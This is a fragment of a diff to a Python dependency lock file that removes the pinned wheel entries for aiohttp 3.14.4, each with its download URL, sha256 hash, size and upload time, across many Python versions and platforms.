-    { url = "https://files.pythonhosted.org/packages/81/e3/998dc75634ecd2a24f33bab480b57313059d55bcadff8825a46b7c80a8af/aiohttp-3.14.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eb0093ca0817019d539f0d27bdf98e823944e05bb7efd9d2337a45b92e4d1b06", size = 832892, upload-time = "2026-10-05T17:38:16.373Z" },
-    { url = "https://files.pythonhosted.org/packages/58/c9/9bacc26397854440d169f70ae00ea51721f504611d3a64cf043643792c32/aiohttp-3.14.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f482dc9c8309801b4259dd218609d3dae0a7bcdedeac56d90500eabaa0c23465", size = 559893, upload-time = "2026-10-05T17:38:18.74Z" },
-    { url = "https://files.pythonhosted.org/packages/fa/f3/90c5856014328a8b1e9a753de794edea282182b776ff65f0602ad4ffa520/aiohttp-3.14.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:aa800bb7c1d00e166493931f2ddacb982db913292503dc2f4884db1f2bc5f105", size = 552850, upload-time = "2026-10-05T17:38:20.385Z" },
-    { url = "https://files.pythonhosted.org/packages/9b/88/e71c29ce6daa78fcee0feb1992f0fdc408f09f42c3311b1f1c68c36f16ea/aiohttp-3.14.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d90e4dae71b26597f6d1fd12af7d092ae67551edf0e524b73e0687214b79ee33", size = 1928941, upload-time = "2026-10-05T17:38:22.218Z" },
-    { url = "https://files.pythonhosted.org/packages/3a/4f/f0f3bebfa521a2ce5fd4302c937701cbc50cd6d908beaa597388639b0b98/aiohttp-3.14.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5b681054b8c3b86aa6a0384b6ad7f5cb78dccbabab1f4a3a6793f98ad1378959", size = 1882092, upload-time = "2026-10-05T17:38:24.016Z" },
-    { url = "https://files.pythonhosted.org/packages/b5/0d/5df041fd25dceb4f4cafbbee49bb2c1e2d54a91aedecaf03b77cbb404c44/aiohttp-3.14.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6dfe80b41bcf8d80d2125fb99a171adeb86db2fcb35c1a68e0226acba0ba7f03", size = 1986051, upload-time = "2026-10-05T17:38:26.022Z" },
-    { url = "https://files.pythonhosted.org/packages/1a/07/e95eddafffef7c3a74446f67ac4e477a49cec2c78f2ab6c86d1acfd90d2d/aiohttp-3.14.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:71e4a59c6a8c5a6ae8b0b696c32635913e8f526cc01448762eaf5a3c59df8a4f", size = 2107840, upload-time = "2026-10-05T17:38:28.112Z" },
-    { url = "https://files.pythonhosted.org/packages/da/6c/1f83990fea249dcb10f48086726953546efc9199c96b6be7114532ac361f/aiohttp-3.14.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f887c3b7fb3058fc1ccd917f52078540c18d938d12018cb9edd64b6811d20c57", size = 1930721, upload-time = "2026-10-05T17:38:30.046Z" },
-    { url = "https://files.pythonhosted.org/packages/6f/d1/48184a186ea26df4f81dd466144dcab7f9cdd1e131bfee0f0e41278c6f0d/aiohttp-3.14.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0da4525e9ba145a11617d2cd7e44fe1acaf471f9c72a0cad28e72879c1020fbb", size = 1774508, upload-time = "2026-10-05T17:38:31.8Z" },
-    { url = "https://files.pythonhosted.org/packages/0f/ef/a9ec758c6d3850453838c31b56d1e4499eb47c80883753a12dcb203f9afa/aiohttp-3.14.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f7e8d3c5caa44fdbee3eba1aa1417aa58c74c95d4089fe3c451911117fcbb2f3", size = 1902311, upload-time = "2026-10-05T17:38:33.791Z" },
-    { url = "https://files.pythonhosted.org/packages/d6/49/9a2be54900f2dea6e63bbf9628fced604686a2e301130ccde0b1aa2e7e53/aiohttp-3.14.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:09092cf906c18c824b6b16881da5a89cc9cfa9b15344e496bcf880e9045bee33", size = 1912107, upload-time = "2026-10-05T17:38:35.614Z" },
-    { url = "https://files.pythonhosted.org/packages/a2/2b/151254abfc0fe5cbb8e6c41ad04d52122db0af176fb31dbf3bc44e081bda/aiohttp-3.14.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:dfd144837e92264878bba6d3a7ffa8206668b21e87748740afd45d193e48c87e", size = 1960207, upload-time = "2026-10-05T17:38:37.322Z" },
-    { url = "https://files.pythonhosted.org/packages/23/99/92c8dce336ac5784755a3144623528516f2e3b6b4871d02cad5a0642ae66/aiohttp-3.14.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:9413cffe4e0d654b9b524f9c99dde8cbdb37e0ed9a2c4edd2e63adbac6b374e8", size = 1760168, upload-time = "2026-10-05T17:38:39.214Z" },
-    { url = "https://files.pythonhosted.org/packages/66/3e/f05fd8d1a9595730db8d522882eea76429b9be2ed5337609f7c6e3d9d49c/aiohttp-3.14.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f50d719f97ba488dfb8e306cf8c8cc172ff0683ec0af53917b288229aa555ba5", size = 1979946, upload-time = "2026-10-05T17:38:40.927Z" },
-    { url = "https://files.pythonhosted.org/packages/b9/14/8941aa73ffceabc2a0eb26878b4f1b2958fb7b5358f97cc49b1c00ed9258/aiohttp-3.14.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:68ed4824d96b7afec1f3a8d7fba190fe282718041c5772e20298003e1e3e5d66", size = 1923375, upload-time = "2026-10-05T17:38:43.184Z" },
-    { url = "https://files.pythonhosted.org/packages/18/b5/ef275b63c8bfe0a21e7e8d3ef0e67c4745ed403f1894fe5205057cedd3b9/aiohttp-3.14.4-cp311-cp311-win32.whl", hash = "sha256:d7a41d1427136828e6b11d3f3fd194d4357d5205a5b610be7ae07b1ba52ab974", size = 488414, upload-time = "2026-10-05T17:38:44.978Z" },
-    { url = "https://files.pythonhosted.org/packages/e7/0b/21bdd70a1e072222d9dbd96bed4fbed26f7c46c5a20af11b78d32fd049d6/aiohttp-3.14.4-cp311-cp311-win_amd64.whl", hash = "sha256:2efbdb87e79d596325c4eefaef0f4495d701145e882351310ebc538e854dc7a3", size = 512755, upload-time = "2026-10-05T17:38:47.036Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/4c/bb324a7d20a9598187bb028ca8d6bcf66c63589c8632420919dd576964ed/aiohttp-3.14.4-cp311-cp311-win_arm64.whl", hash = "sha256:ac6e6f90d9360e460c873f945f11dc8698db0a71fec6612823f1aaaab2c11faa", size = 492960, upload-time = "2026-10-05T17:38:49.006Z" },
-    { url = "https://files.pythonhosted.org/packages/22/02/db5935d45347fa8ede56b777930740fb0e72bbb4473ddb6ff8541f6f2afa/aiohttp-3.14.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:55b0b335982b0db7117dff7f6a8e3aad43c4105f9e392ca04f9fc8d958a95cce", size = 817689, upload-time = "2026-10-05T17:38:50.69Z" },
-    { url = "https://files.pythonhosted.org/packages/e6/56/f00aa46127e6342f019d567853eeeb932e04fb9b9424b5fb981ad68f4178/aiohttp-3.14.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2d0d8e435582b0d53009dac99e26a3d2be932ed7c9dbfcfc70f3fce1cf943bd5", size = 549599, upload-time = "2026-10-05T17:38:52.525Z" },
-    { url = "https://files.pythonhosted.org/packages/3f/bc/825c09b09962253a2103e4a88c04374ee939c0c8ea31c270daa0308efb07/aiohttp-3.14.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bf734016932d68e1324cfb638cac7a0866a83933a33badf15e836a7e24efb8c0", size = 548132, upload-time = "2026-10-05T17:38:54.629Z" },
-    { url = "https://files.pythonhosted.org/packages/40/80/8a1bc8036540fe7cb38219cc5c0aa67d32e9068165725e8199ea8200b08b/aiohttp-3.14.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:322e3d741b3133bcbb981a41d4f9b8ac3545c18de49c662c2b1f4e1c770b98ad", size = 1898485, upload-time = "2026-10-05T17:38:56.439Z" },
-    { url = "https://files.pythonhosted.org/packages/3c/fe/65b464d8520ace0d65b4ca69bc9abe175f842c8ce8d1522d363d9669903f/aiohttp-3.14.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:15a3bb5f90a4e515071f3617a45dfe26560beb834a6b6e108cdf4bc9e9719ec3", size = 1875334, upload-time = "2026-10-05T17:38:58.536Z" },
-    { url = "https://files.pythonhosted.org/packages/be/51/9c583be502720e927560a8414f4dfb7c7de41945e1a30ccf7003b93c6f85/aiohttp-3.14.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6c044e52df1a466af82cad3518c92ea80cc4ddcfea86966ff083bb34bab29bf4", size = 1937772, upload-time = "2026-10-05T17:39:00.376Z" },
-    { url = "https://files.pythonhosted.org/packages/a2/3d/b56512df7ea9cbb5f59099a6b375088dd578356a5a3fb27198ab82e19832/aiohttp-3.14.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d613d7d51bf06fe9a5e3aab86ce06d835bb0ceb1a31ea9e8766df4a403ae62a6", size = 2066220, upload-time = "2026-10-05T17:39:02.54Z" },
-    { url = "https://files.pythonhosted.org/packages/11/6c/a7a42701d9ea319140a3d44a24ec72a00b0b46d1b899b26d8a705e65bdd8/aiohttp-3.14.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5e93ab6e6330dce40f5b43996f1fc5f2543296d263a5e4b59ff09e73870b7d8", size = 1922895, upload-time = "2026-10-05T17:39:04.638Z" },
-    { url = "https://files.pythonhosted.org/packages/77/04/f8337bd824ca3fe3968d34dc5037ace1c4872551c4621f8266239311d301/aiohttp-3.14.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:20134dc8e68c67e7478124d516449428684c0545b2d3faa575691c8bcbd56678", size = 1712589, upload-time = "2026-10-05T17:39:06.671Z" },
-    { url = "https://files.pythonhosted.org/packages/fe/a6/d20e2c940b592d7c4a21690889dbff64fe0ca3facd9190696368694e1488/aiohttp-3.14.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f0daef5ef012369dddc391c61f604111424aa9a96313a69fb899018b09d1b01e", size = 1862251, upload-time = "2026-10-05T17:39:08.523Z" },
-    { url = "https://files.pythonhosted.org/packages/f5/e4/d50edd5ae5d024b380a8e892e333840bb22967a9eb9c8492108a403f678a/aiohttp-3.14.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:19290a108de0718b73bc69b86e788975c6a59855c671ebe2a98a07a6f968328f", size = 1895155, upload-time = "2026-10-05T17:39:10.305Z" },
-    { url = "https://files.pythonhosted.org/packages/c3/d3/f36f2931f807ccf8437ec15e8f8bfaa4748d4792639401cc767a866abaa0/aiohttp-3.14.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1494877625baeffab669f4a25a09ec4eea721b49e35363081a2a8e4231fe141f", size = 1906623, upload-time = "2026-10-05T17:39:12.411Z" },
-    { url = "https://files.pythonhosted.org/packages/5d/0a/94821b711493142bf5e11c27b0d7502776778f7792c77ecc6647357d20c1/aiohttp-3.14.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:a779ce4bf099ce4ad2cdfed62f1ca536d435f53237c54ff40172fddada24d1b5", size = 1698932, upload-time = "2026-10-05T17:39:14.446Z" },
-    { url = "https://files.pythonhosted.org/packages/d9/76/3d5a0d28362f0053c1c457024749911932481e8fd105fddf8305b1f93c81/aiohttp-3.14.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:0b4cec9fca876e2d4f4c6cb32b177390132d04618867689f43fefabf3f5c3980", size = 1934528, upload-time = "2026-10-05T17:39:16.354Z" },
-    { url = "https://files.pythonhosted.org/packages/a7/51/9784a21dc05d2e0f6acaf864f16db53dab0fbd7b0753cef168601eacb012/aiohttp-3.14.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:217707313e23aedde9bea67cf8365c7b138b549ae179121ef3f476cf67e3173a", size = 1901984, upload-time = "2026-10-05T17:39:18.299Z" },
-    { url = "https://files.pythonhosted.org/packages/44/4f/f98c88703e6d620243aa08473a946ca4e3756b6288690e38f0d9f9c1d007/aiohttp-3.14.4-cp312-cp312-win32.whl", hash = "sha256:18a9fb9a3f6e6e63f4d27f9adeef313a2d3c69a84d31170a844623824e722534", size = 480278, upload-time = "2026-10-05T17:39:20.206Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/bc/8555013f84b53e4fdde423131b641af50e822c6d7d9118b24c52b31f6900/aiohttp-3.14.4-cp312-cp312-win_amd64.whl", hash = "sha256:69dcb02d33dfe415d5ee342cc63b7d320efcaf4b761701c7bd7bfb91c715481a", size = 506317, upload-time = "2026-10-05T17:39:22.706Z" },
-    { url = "https://files.pythonhosted.org/packages/21/3f/ca5bad7bfdaa7ddca053a044a1c7c0d4f3ad9d1f12f96dcab10bfb9c50e7/aiohttp-3.14.4-cp312-cp312-win_arm64.whl", hash = "sha256:d36b0263e7c2fbf1750b9f35d4e7e48b0442d8c45e4a89e3e74168821fb014bb", size = 487683, upload-time = "2026-10-05T17:39:24.482Z" },
-    { url = "https://files.pythonhosted.org/packages/23/ec/7fee140da700ec3f5aa5e0fd2319f67be5e86de197e2384d27e5e6209e0e/aiohttp-3.14.4-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:264b5a7568306590c44ae4a0237ad1715e35d447ea44ebf324e4c8fd9f78f67a", size = 539114, upload-time = "2026-10-05T17:39:26.322Z" },
-    { url = "https://files.pythonhosted.org/packages/4e/04/930c01ce9e186e787046433d7dc5b45b188885f8406c14b58435b4431974/aiohttp-3.14.4-cp313-cp313-android_24_x86_64.whl", hash = "sha256:17e5d7c7775d8dd8e894c7ef6ebfa26509de36868a9a6c7c4fcfaf6a1bf43d60", size = 553514, upload-time = "2026-10-05T17:39:28.104Z" },
-    { url = "https://files.pythonhosted.org/packages/2c/d7/983e3cea81c07e95f35d34da4d1e182b5c05489c49b7560b198a83f0da79/aiohttp-3.14.4-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e91dc8fe9cbd052d16f7f1267e285cf8bbac4d2194bd5741f05ef201c77ed09e", size = 521381, upload-time = "2026-10-05T17:39:30.419Z" },
-    { url = "https://files.pythonhosted.org/packages/0e/2d/80baed11659093883f51245755105557d3253e45bd0b693d70df0059d68b/aiohttp-3.14.4-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8df6157d31703972aec9e3b93963f039ff06318301e30b007c3e941ff8a7ac42", size = 528347, upload-time = "2026-10-05T17:39:32.344Z" },
-    { url = "https://files.pythonhosted.org/packages/c8/18/bfda255c311096c08dab26dc65f3d219f090df37dc5f5f6345f8c3aefc1f/aiohttp-3.14.4-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:220912b351549dc736c59d104dc443fa615753102bb778a4e98f86e4d94bff6a", size = 539914, upload-time = "2026-10-05T17:39:34.265Z" },
-    { url = "https://files.pythonhosted.org/packages/51/fc/3b6ca6117c0c42481d719411fff7b5d3970ebd906543d3dc1ba40fe2462f/aiohttp-3.14.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2efa42b39bb3f524d5eca3760639b584afdd1143a6b047fda29910ffb75e4993", size = 813997, upload-time = "2026-10-05T17:39:36.061Z" },
-    { url = "https://files.pythonhosted.org/packages/b5/f6/86e3e02a9712aadc1ae0a1076bb2d1adf3d9addfe5542a28190c8f9b6d9b/aiohttp-3.14.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7e7356059c8262d2c1fd95242e2b7b70fbc6eee3135bf470049cbec3e968b5b0", size = 548058, upload-time = "2026-10-05T17:39:38.109Z" },
-    { url = "https://files.pythonhosted.org/packages/85/7e/6b9c2e271419d40ca76589613b3c7ab185fd3050a407bd2565b6aa46f695/aiohttp-3.14.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:fac247d0cc956d732df1211ac2d8a9999ec8dc1a92a90401de9d52e4ead546f7", size = 545933, upload-time = "2026-10-05T17:39:40.193Z" },
-    { url = "https://files.pythonhosted.org/packages/14/fc/33d6e24a5f8ac32423230088c415e2a1c6efee23d902b62f20506631e40b/aiohttp-3.14.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6e2eb0f8b03b4f2bd154ed8cf7c1a119a1ad04808c258bf58f90138c83b8c6d5", size = 1888265, upload-time = "2026-10-05T17:39:42.182Z" },
-    { url = "https://files.pythonhosted.org/packages/8d/e8/2eca1d468d83a514621d1280f9992d08649191db2028c9236b4edfa7c723/aiohttp-3.14.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7fbe827d27e0e369fd7bb88ceeaa5b46ea006e73e015b9dd77e3723a53162293", size = 1872300, upload-time = "2026-10-05T17:39:44.195Z" },
-    { url = "https://files.pythonhosted.org/packages/d6/f6/5872983de71b0214acdfb86822f5cca295b39be4832ec589fa224aee0f6c/aiohttp-3.14.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a70387146d03af9f047c629b71aa27d9594b3b31ec4c9c91e1a73d0d8bf38e0e", size = 1926213, upload-time = "2026-10-05T17:39:46.199Z" },
-    { url = "https://files.pythonhosted.org/packages/ee/65/ebfefa11a546c33c717af63c67868408ecf0b33b23a9d75669af95485407/aiohttp-3.14.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0d0934926fc65744e2fdd44ce68b2d79d5ee608a1e23f0596b35dd696519bb7c", size = 2056609, upload-time = "2026-10-05T17:39:48.221Z" },
-    { url = "https://files.pythonhosted.org/packages/69/c0/70667e82ec041f4122a17afce711bbcf94a71bec5888b69a49aed8817be2/aiohttp-3.14.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ff4b366510c733974adb7a4102c094e4a6308e6f369315a4cf14d2d0a619cf82", size = 1914740, upload-time = "2026-10-05T17:39:50.304Z" },
-    { url = "https://files.pythonhosted.org/packages/bf/86/559e9dfea676206b20737d7ccb5b3716bff5e58d2a8d53682e5301724cd1/aiohttp-3.14.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:85fac7c99e0ac3dcbd6ae1c33774e0603bfc732ddb967a6fce4a731103c1888e", size = 1703390, upload-time = "2026-10-05T17:39:52.385Z" },
-    { url = "https://files.pythonhosted.org/packages/fc/91/c98897d4cf23e120b2f3980042835cb34c86bbe3c653f3eaacf4bf986349/aiohttp-3.14.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ef1e9c3b4a2300023a5dc865889ce532cfaf6798ba4ef78fbbefe738a9d23efa", size = 1852642, upload-time = "2026-10-05T17:39:54.391Z" },
-    { url = "https://files.pythonhosted.org/packages/14/13/0258f352cb2c236f358a5b57d138e15fa2566e17accc0758d968dbf2ceb6/aiohttp-3.14.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:97e65916588be0f952b3307aaa8460c0771fa98dbea2dd27dabc9f5d84d53c3b", size = 1890616, upload-time = "2026-10-05T17:39:56.466Z" },
-    { url = "https://files.pythonhosted.org/packages/64/3c/f43e294ce1a06d1234a97bd862c1aa31acfa1a0eea3786c22fd0dc1ea731/aiohttp-3.14.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:840775cb39a9424f9edf142133a1192263ac5bd79117ad2a16602cef6a0c1e9d", size = 1896638, upload-time = "2026-10-05T17:39:58.585Z" },
-    { url = "https://files.pythonhosted.org/packages/9f/f7/ce1e3a85b73d05037d729d3d32da7d6959b9e433435e9abd46c2fb38410f/aiohttp-3.14.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:54f9256430ca040d58affbd551513de13a5cff7d065204fc52b9a1b0af09a049", size = 1693003, upload-time = "2026-10-05T17:40:00.698Z" },
-    { url = "https://files.pythonhosted.org/packages/1d/72/45eb900d6a9ee046728f5589f3d07f5d78f049b5fb84f48881fa4174d5df/aiohttp-3.14.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:6112d5931bf12c776188cab81b82bbb17d86e2e1381f2ade6edc43e6b240f0cb", size = 1927730, upload-time = "2026-10-05T17:40:02.943Z" },
-    { url = "https://files.pythonhosted.org/packages/b2/43/a83ff79dc8375953a1f00b808a21c82590f4e68304fecccdcc42a25fb7d8/aiohttp-3.14.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:facc6df39047c4732cbd885bb62e40df20885fcd709fc399e11f81b45ce0fff9", size = 1891177, upload-time = "2026-10-05T17:40:04.989Z" },
-    { url = "https://files.pythonhosted.org/packages/5c/ba/fbdc41608d4e2fb6084d960a41b392fa82beb5b126c2466de549b5c67fc8/aiohttp-3.14.4-cp313-cp313-win32.whl", hash = "sha256:7968634fa3a967a2bc0b9aeba1d5a1955501dcd7d0de44b96f7ebfb662797735", size = 479943, upload-time = "2026-10-05T17:40:07.402Z" },
-    { url = "https://files.pythonhosted.org/packages/35/51/d75629750e705832fd5cd52516a82943ed58b6e09c30e14830f5d87452fa/aiohttp-3.14.4-cp313-cp313-win_amd64.whl", hash = "sha256:c0a894b0265d139cd4c2c8bd4643822cc289a4a5331e21e810881bd000ffb2dc", size = 506209, upload-time = "2026-10-05T17:40:09.49Z" },
-    { url = "https://files.pythonhosted.org/packages/02/64/66452d2ffcc13e5e5ee4ba4a968656fa4a98c29ed5ff0205d4fde02b2943/aiohttp-3.14.4-cp313-cp313-win_arm64.whl", hash = "sha256:da16c3037178e72589d91de59536d271dffc92c2be2b47c38a45538cba54fd29", size = 487163, upload-time = "2026-10-05T17:40:11.526Z" },
-    { url = "https://files.pythonhosted.org/packages/d2/fd/b653b1f969e2e949fe4726af7a8043e8ef117f202bed7757ac8564e077a1/aiohttp-3.14.4-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:749bfc43bb1df71bbe6ed215044d5412d786698fc5771d2037436ca49622f3c9", size = 540738, upload-time = "2026-10-05T17:40:14.109Z" },
-    { url = "https://files.pythonhosted.org/packages/90/b5/eea49a0bb697deffac5165d707ec53a24748d6720b3af77a544107b49573/aiohttp-3.14.4-cp314-cp314-android_24_x86_64.whl", hash = "sha256:c113e4b489d711f606ca278cd8dc89179746244ea841aa0638b1b134600afad0", size = 554494, upload-time = "2026-10-05T17:40:16.231Z" },
-    { url = "https://files.pythonhosted.org/packages/11/ea/cf8f4efbbfa8572d9965cd43b3c6c84c581aa006772e5ce3ab4020027e9b/aiohttp-3.14.4-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:50969522bc7022026a2c7968e67da5c789f6b716b988edac55dc630390efd5df", size = 522653, upload-time = "2026-10-05T17:40:18.879Z" },
-    { url = "https://files.pythonhosted.org/packages/a3/24/9f6721f0b52323789cb1041ffc3afa729462d9925607e733a065b6fc5e17/aiohttp-3.14.4-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:cbf92cd7a1c800cee244558dd5630abb45c1c1093ef7b0d546a99f526ff7a9eb", size = 529697, upload-time = "2026-10-05T17:40:21.296Z" },
-    { url = "https://files.pythonhosted.org/packages/9c/a4/399debc3c2ca0ab88a08e3082b4c4f62d0f66978af60243c63f2345ef337/aiohttp-3.14.4-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:fc76be08ff407fba717a769aff04ca1b4bf9ecfdcb5caadef84a563fdbbd146d", size = 540526, upload-time = "2026-10-05T17:40:23.548Z" },
-    { url = "https://files.pythonhosted.org/packages/a2/97/90379813b18b795bccdeb3a5a85e9b93ac2c69f9c2a5d0faba59da3ad6d1/aiohttp-3.14.4-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:9b416f995b68a921069e6ec61fa07f2ac3ff033d92e97a69f673af89f5bb954d", size = 818866, upload-time = "2026-10-05T17:40:25.842Z" },
-    { url = "https://files.pythonhosted.org/packages/78/70/824fd0dac819652f1df895b3f621a75bf0a3050c30e38d8d2316e34ab821/aiohttp-3.14.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:2c9585101cfca10e74a07cc0ef2bdc6d90616e6750926b20456f429d0608f740", size = 549666, upload-time = "2026-10-05T17:40:28.523Z" },
-    { url = "https://files.pythonhosted.org/packages/8c/45/eafb2dd200dd2b770ed25a2dc5731c4ba5d58ab3fa8e2e82494bb946808e/aiohttp-3.14.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:3c4dcf611b095e7983421f49d01ffbed7ed574891533d606ea115fc23e7c4e90", size = 548961, upload-time = "2026-10-05T17:40:30.613Z" },
-    { url = "https://files.pythonhosted.org/packages/a7/bc/6c733a1c71300293471ac7ef1dffd12b5b4dc9a43c53461224b2b8a7f667/aiohttp-3.14.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f8f61a9b5fa56c58e3441f9dc64137f786232d40fb89127190d0e0f84e1e5865", size = 1883165, upload-time = "2026-10-05T17:40:33.062Z" },
-    { url = "https://files.pythonhosted.org/packages/37/34/885ddbd351679a31141b25e0d1a5e4f67738806e564c858b399709b61239/aiohttp-3.14.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d43e538dfc85b705fd832620d050970ef5613b3869a7169b44a554b9dab9eee9", size = 1844119, upload-time = "2026-10-05T17:40:35.266Z" },
-    { url = "https://files.pythonhosted.org/packages/cc/ef/0a64dac53c11d569851efb3e7eddb43551df72b2c172ebb34cccc93bcd3f/aiohttp-3.14.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4135c4bb4b7682a7633fadc7170ea969d843f83aa7224e70111a20675105c985", size = 1930222, upload-time = "2026-10-05T17:40:37.527Z" },
-    { url = "https://files.pythonhosted.org/packages/69/5f/774792ed8f973e0d234fcb06b0f0bc9f29e9a0a0dd847f6418c2904be7d9/aiohttp-3.14.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:9055324f156a94fdf6dc9a825ae60f9a2947b88f591ea81ee80826633de62ae7", size = 2038842, upload-time = "2026-10-05T17:40:39.815Z" },
-    { url = "https://files.pythonhosted.org/packages/cb/05/e00f35581c97656d9e864edaa03292382c620dd1d9c836a4f73a2279acc4/aiohttp-3.14.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fb22c8e4b60385a9b414c70c6e8b2d0f4b23ff7fc4bb572ceb58297b228169f1", size = 1887845, upload-time = "2026-10-05T17:40:42.359Z" },
-    { url = "https://files.pythonhosted.org/packages/ca/2e/07e3eff5b4c1b082a2eaf0ffb508b409b21ea1ddc9fdc57f3eabb51469a1/aiohttp-3.14.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3b6945559a260112742ed58cde2165488d2fc51aeea34afbaa99d9371b43e1b5", size = 1702533, upload-time = "2026-10-05T17:40:44.569Z" },
-    { url = "https://files.pythonhosted.org/packages/75/44/816844b7f876e6f8fee4ecb088269fcd92241da712e4814a4d624eda13a9/aiohttp-3.14.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8f4078a90b174f15efb2c8725e8720c40dbd3b2cf6350dbc085c964a938d9de7", size = 1849058, upload-time = "2026-10-05T17:40:47.818Z" },
-    { url = "https://files.pythonhosted.org/packages/ae/bd/163242e12464a1f3e58a77e28beca949652ddce84abdd5500a91c70a1e0d/aiohttp-3.14.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f433c5654e32f72de3ef074d715eb5c7604eb6d28a5c2f3c9e5056f20fe6b306", size = 1854600, upload-time = "2026-10-05T17:40:50.401Z" },
-    { url = "https://files.pythonhosted.org/packages/f2/59/5c1ae708a89524eddfd9c727b87cae26b5c50c3c76683b910ac06151ead0/aiohttp-3.14.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:871035fe79c636b6bc126ed78df37d72b830dfc751612cb4b1040360edf2719f", size = 1896565, upload-time = "2026-10-05T17:40:52.625Z" },
-    { url = "https://files.pythonhosted.org/packages/37/45/95300a7de69241fe47d3f838f3fb582c712782e172d447ff650a013ea673/aiohttp-3.14.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2617132524f66338f6c1d218cd16081576aefc40df4f2bcba338a99fbf67fec1", size = 1693092, upload-time = "2026-10-05T17:40:54.862Z" },
